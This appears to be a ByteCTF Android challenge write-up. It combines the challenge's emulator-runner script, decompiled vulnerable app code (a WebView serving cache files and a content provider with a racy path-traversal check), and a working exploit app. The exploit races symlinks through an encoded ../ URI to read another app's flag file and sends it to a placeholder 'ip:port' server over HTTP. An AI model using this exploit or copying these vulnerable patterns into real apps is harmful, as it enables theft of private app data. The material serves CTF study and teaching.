import os   

import random

import subprocess

import sys

import time

import requests

import uuid

from hashlib import *

import zipfile

import signal

import string

isMacos = len(sys.argv) == 2

wordlist = string.ascii_letters

difficulty = 4

random_hex = lambda x: ''.join([random.choice(wordlist) for _ in range(x)])

ADB_PORT = int(random.random() * 60000 + 5000)

EMULATOR_PORT = 36666 if isMacos else (ADB_PORT + 1)

EXPLOIT_TIME_SECS = 30

APK_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "app-debug.apk")

FLAG_FILE = os.path.join(os.path.dirname(os.path.abspath(__file__)), "flag")

HOME = "/home/user"

VULER = "com.bytectf.silverdroid"

ENV = {}

ENV.update(os.environ)

if not isMacos:

    ENV.update({

        "ANDROID_ADB_SERVER_PORT": "{}".format(ADB_PORT),

        "ANDROID_SERIAL": "emulator-{}".format(EMULATOR_PORT),

        "ANDROID_SDK_ROOT": "/opt/android/sdk",

        "ANDROID_SDK_HOME": HOME,

        "ANDROID_PREFS_ROOT": HOME,

        "ANDROID_EMULATOR_HOME": HOME + "/.android",

        "ANDROID_AVD_HOME": HOME + "/.android/avd",

        "JAVA_HOME": "/usr/lib/jvm/java-11-openjdk-amd64",

        "PATH": "/opt/android/sdk/cmdline-tools/latest/bin:/opt/android/sdk/emulator:/opt/android/sdk/platform-tools:/bin:/usr/bin:" + os.environ.get("PATH", "")

    })

def print_to_user(message):

    print(message)

    sys.stdout.flush()

def download_file(url):

    try:

        download_dir = "download"

        if not os.path.isdir(download_dir):

            os.mkdir(download_dir)

        tmp_file = os.path.join(download_dir, time.strftime("%m-%d-%H:%M:%S", time.localtime())+str(uuid.uuid4())+'.apk')

        f = requests.get(url)

        if len(f.content) > 10*1024*1024:

            return None

        with open(tmp_file, 'wb') as fp:

            fp.write(f.content)

        return tmp_file

    except:

        return None

def proof_of_work():

    print_to_user(f"First, to ensure that the service will not be dos, please answer me a question.")

    prefix = random_hex(6)

    suffix = random_hex(difficulty)

    targetHash = sha256((prefix+suffix).encode()).hexdigest()

    print_to_user(f'Question: sha256(("{prefix}"+"{"x"*difficulty}").encode()).hexdigest() == "{targetHash}"')

    print_to_user(f'Please enter the {"x"*difficulty} to satisfy the above equation:')

    proof = sys.stdin.readline().strip()

    return sha256((prefix+proof).encode()).hexdigest() == targetHash

def check_apk(path):

    try:

        z = zipfile.ZipFile(path)

        for f in z.filelist:

            if f.filename == "AndroidManifest.xml":

                return True

        return False

    except:

        return False

def setup_emulator():

    subprocess.call(

        "avdmanager" +

        " create avd" +

        " --name 'pixel_xl_api_30'" +

        " --abi 'google_apis/x86_64'" +

        " --package 'system-images;android-30;google_apis;x86_64'" +

        " --device pixel_xl" +

        " --force" +

        ("" if isMacos  else " > /dev/null 2> /dev/null"),

        env=ENV,

        close_fds=True,

        shell=True)

    return subprocess.Popen(

        "emulator" +

        " -avd pixel_xl_api_30" +

        " -no-cache" +

        " -no-snapstorage" +

        " -no-snapshot-save" +

        " -no-snapshot-load" +

        " -no-audio" +

        " -no-window" +

        " -no-snapshot" +

        " -no-boot-anim" +

        " -wipe-data" +

        " -accel on" +

        " -netdelay none" +

        " -no-sim" +

        " -netspeed full" +

        " -delay-adb" +

        " -port {}".format(EMULATOR_PORT) +

        ("" if isMacos  else " > /dev/null 2> /dev/null ") +

        "",

        env=ENV,

        close_fds=True,

        shell=True,

        preexec_fn=os.setsid)

def adb(args, capture_output=True): 

    return subprocess.run(

        ['adb'] + (['-s', 'emulator-36666']+args if isMacos else args),

        env=ENV,

        close_fds=True,

        capture_output=capture_output).stdout

def adb_install(apk):

    adb(["install", "-t", apk])

def adb_activity(activity, extras=None, wait=False, data=None):

    args = ["shell", "am", "start"]

    if wait:

        args += ["-W"]

    args += ["-n", activity]

    if extras:

        for key in extras:

            args += ["-e", key, extras[key]]

    if data:

        args += ["-d", data]

    adb(args)

def adb_broadcast(action, receiver, extras=None):

    args = ["shell", "su", "root", "am", "broadcast", "-W", "-a", action, "-n", receiver]

    if extras:

        for key in extras:

            args += ["-e", key, extras[key]]

    adb(args)

print_to_user(r

)

if not isMacos:

    if not proof_of_work():

        print_to_user("Please proof of work again, exit...\n")

        exit(-1)

print_to_user("Please enter your poc url:")

url = sys.stdin.readline().strip()

if url.strip('"') == url:

    url = f'"{url}"'

if not url.startswith('"https://'):

    print_to_user("Invalid poc url.\n")

    exit(-1)

print_to_user("Preparing android emulator. This may takes about 2 minutes...\n")

emulator = setup_emulator()

adb(["wait-for-device"])

adb_install(APK_FILE)

with open(FLAG_FILE, "r") as f:

    adb_broadcast(f"com.wuhengctf.SET_FLAG", f"{VULER}/.FlagReceiver", extras={"flag": f.read()})

adb_activity(f"{VULER}/.MainActivity", wait=True, data=url)

print_to_user("Launching! Let your apk fly for a while...\n")

if isMacos:

    input('wait for debug')

else:

    time.sleep(EXPLOIT_TIME_SECS)

print_to_user("exiting......")

try:

    os.killpg(os.getpgid(emulator.pid), signal.SIGTERM)

    os.killpg(os.getpgid(os.getpid()), signal.SIGTERM)

except:

    pass

package com.bytectf.silverdroid;

import android.net.Uri;

import android.os.Bundle;

import android.util.Log;

import android.webkit.WebResourceRequest;

import android.webkit.WebResourceResponse;

import android.webkit.WebView;

import android.webkit.WebViewClient;

import androidx.appcompat.app.AppCompatActivity;

import java.io.File;

import java.io.FileInputStream;

import java.io.IOException;

import java.util.HashMap;

public class MainActivity extends AppCompatActivity {

    @Override  // androidx.fragment.app.FragmentActivity

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        this.setContentView(0x7F0B001C);  // layout:activity_main

        Uri uri0 = this.getIntent().getData(); //获得intent所传过来的data参数，可以来自另一个app

        if(uri0 != null) {   //若参数不为null

            WebView webView = new WebView(this.getApplicationContext());//新建的页面取得是整个app的context

            webView.setWebViewClient(new WebViewClient() { //当从一个网页跳转到另外一个网页时，我们希望目标网页仍然在当前的webview中显示，而不是在浏览器中打开

                @Override  // android.webkit.WebViewClient

                public boolean shouldOverrideUrlLoading(WebView view, String url) {

                  //当shouldOverrideUrlLoading返回值为true，拦截webview加载url

                    try {

                        Uri uri0 = Uri.parse(url); //解析url

                        Log.e("Hint", "Try to upload your poc on free COS: https://cloud.tencent.com/document/product/436/6240");

                        if(uri0.getScheme().equals("https")) { //scheme必须是https

                            return !uri0.getHost().endsWith(".myqcloud.com");//若是以.myqcloud.com结尾，返回true，再取反返回false，不会拦截webview加载url

                        }

                    }

                    catch(Exception e) {

                        e.printStackTrace();

                        return true;

                    }

                    return true;

                }

            });

            webView.setWebViewClient(new WebViewClient() {

                @Override  // android.webkit.WebViewClient

                public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {  //拦截url，js，css等响应阶段,拦截所有的url请求，若返回非空，则不再进行网络资源请求，而是使用返回的资源数据

                    FileInputStream inputStream;

                    Uri uri0 = request.getUrl();  //获得js请求的request   

                    if(uri0.getPath().startsWith("/local_cache/")) { //检查域名后的path是否为/local_cache/开头

                        File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment()); //只是在内存中创建File文件映射对象,而并不会在硬盘中创建文件，新建file以cache为目录，uri0的最后一个地址段

                      //getCacheDir获取手机中/data/data/包名/cache目录；

                        if(cacheFile.exists()) { //若映射的文件真实存在，则进入下面循环

                            try {

                                inputStream = new FileInputStream(cacheFile);//其将文件内容读取到了内存inputStream内，之后可以进行读取操作

                            }

                            catch(IOException e) {

                                return null;

                            }

                            HashMap headers = new HashMap();

                            headers.put("Access-Control-Allow-Origin", "*");

                            return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);  //返回响应

                        }

                    }

                    return super.shouldInterceptRequest(view, request);

                }

            });

            this.setContentView(webView); //

            webView.getSettings().setJavaScriptEnabled(true); //设置WebView属性，能够执行Javascript脚本

            webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=" + uri0);

        }

    }

}

package com.bytectf.golddroid;

import android.content.ContentProvider;

import android.content.ContentValues;

import android.database.Cursor;

import android.net.Uri;

import android.os.ParcelFileDescriptor;

import java.io.File;

import java.io.FileNotFoundException;

import java.io.IOException;

public class VulProvider extends ContentProvider { //

    @Override  // android.content.ContentProvider

    public int delete(Uri uri, String selection, String[] selectionArgs) {

        return 0;

    }

    @Override  // android.content.ContentProvider

    public String getType(Uri uri) {

        return null;

    }

    @Override  // android.content.ContentProvider

    public Uri insert(Uri uri, ContentValues values) {

        return null;

    }

    @Override  // android.content.ContentProvider

    public boolean onCreate() {

        return false;

    }

    @Override  // android.content.ContentProvider

    public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {

        File file0 = this.getContext().getExternalFilesDir("sandbox");

      // file0 = /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/

        File file = new File(this.getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment()); //

        // file = /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/uri.getLastPathSegment()

          try {

            if(!file.getCanonicalPath().startsWith(file0.getCanonicalPath())) { //防止目录穿越,getCanonicalPath会将目录中存在./和../的路径全部转化成没有./和../的路径，下面例子

              //Path: workspace/test/../../../.././test1.txt

             //getAbsolutePath:/Users/eeee/Desktop/CTF/ByteCTF/Gold_Droid/workspace/test/../../../.././test1.txt

             //getCanonicalPath: /Users/eeee/Desktop/CTF/test1.txt

                throw new IllegalArgumentException();

            }

        }

        catch(IOException e) {

            e.printStackTrace();

        }

        return ParcelFileDescriptor.open(file, 0x10000000); //0x10000000代表只读

    }

    @Override  // android.content.ContentProvider

    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {

        return null;

    }

    @Override  // android.content.ContentProvider

    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {

        return 0;

    }

}

package com.bytectf.pwngolddroid;

import androidx.appcompat.app.AppCompatActivity;

import android.content.ContentResolver;

import android.net.Uri;

import android.os.Bundle;

import android.util.Log;

import java.io.BufferedReader;

import java.io.IOException;

import java.io.InputStream;

import java.net.HttpURLConnection;

import java.net.URL;

public class MainActivity extends AppCompatActivity {

    String symlink;

    public void httpGet(String msg) {

        new Thread(new Runnable() {

            @Override

            public void run() {

                HttpURLConnection connection = null;

                BufferedReader reader = null;

                try {

                    Log.e("in_httpGet","inHttpGet1");

                    URL url = new URL("http://ip:port/flag?flag=" + msg); //这里可以写自己博客的ip和端口，对其进行访问，然后查看日志，我的日志在/var/log/nginx/access.log

                    Thread.sleep(1);

                    Log.e("in_httpGet","inHttpGet2");

                    connection = (HttpURLConnection) url.openConnection();

                    Thread.sleep(1);

                    Log.e("in_httpGet","inHttpGet3");

                    connection.setRequestMethod("GET");

                    Thread.sleep(1);

                    Log.e("in_httpGet","inHttpGet4");

                    connection.getInputStream();

                    Thread.sleep(1);

                    Log.e("httpget succeed","http_get succeed");

                } catch (IOException | InterruptedException e) {

                    e.printStackTrace();

                }

            }

        }).start();

    }

    private String readUri(Uri uri) {

        InputStream inputStream = null;

        try {

            ContentResolver contentResolver = getContentResolver();

            inputStream = contentResolver.openInputStream(uri);

            if (inputStream != null) {

                byte[] buffer = new byte[1024];

                int result;

                String content = "";

                while ((result = inputStream.read(buffer)) != -1) {

                    content = content.concat(new String(buffer, 0, result));

                }

                return content;

            }

        } catch (IOException e) {

            Log.e("receiver", "IOException when reading uri", e);

        } catch (IllegalArgumentException e) {

            Log.e("receiver", "IllegalArgumentException", e);

        } finally {

            if (inputStream != null) {

                try {

                    inputStream.close();

                } catch (IOException e) {

                    Log.e("receiver", "IOException when closing stream", e);

                }

            }

        }

        return null;

    }

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        String root = getApplicationInfo().dataDir;

        symlink = root + "/symlink";

        try {

            Runtime.getRuntime().exec("chmod -R 777 " + root).waitFor();

        } catch (InterruptedException e) {

            e.printStackTrace();

        } catch (IOException e) {

            e.printStackTrace();

        }

        String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";

        //String path = "content://slipme/sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1";

        new Thread(() -> {

            while (true) {

                try {

                    Thread.sleep(1);

                    Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).waitFor();

                } catch (InterruptedException e) {

                    e.printStackTrace();

                } catch (IOException e) {

                    e.printStackTrace();

                }

            }

        }).start();

        new Thread(() -> {

            while (true) {

                try {

                    Thread.sleep(1);

                    Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor();

                } catch (InterruptedException e) {

                    e.printStackTrace();

                } catch (IOException e) {

                    e.printStackTrace();

                }

            }

        }).start();

        new Thread(() -> {

            while (true) {

                try {

                    Thread.sleep(10);

                } catch (InterruptedException e) {

                    e.printStackTrace();

                }

                String data = readUri(Uri.parse(path));

                if(data.length()>0){

                    Log.e("has_data",data);

                    httpGet(data);

                }

            }

        }).start();

    }

}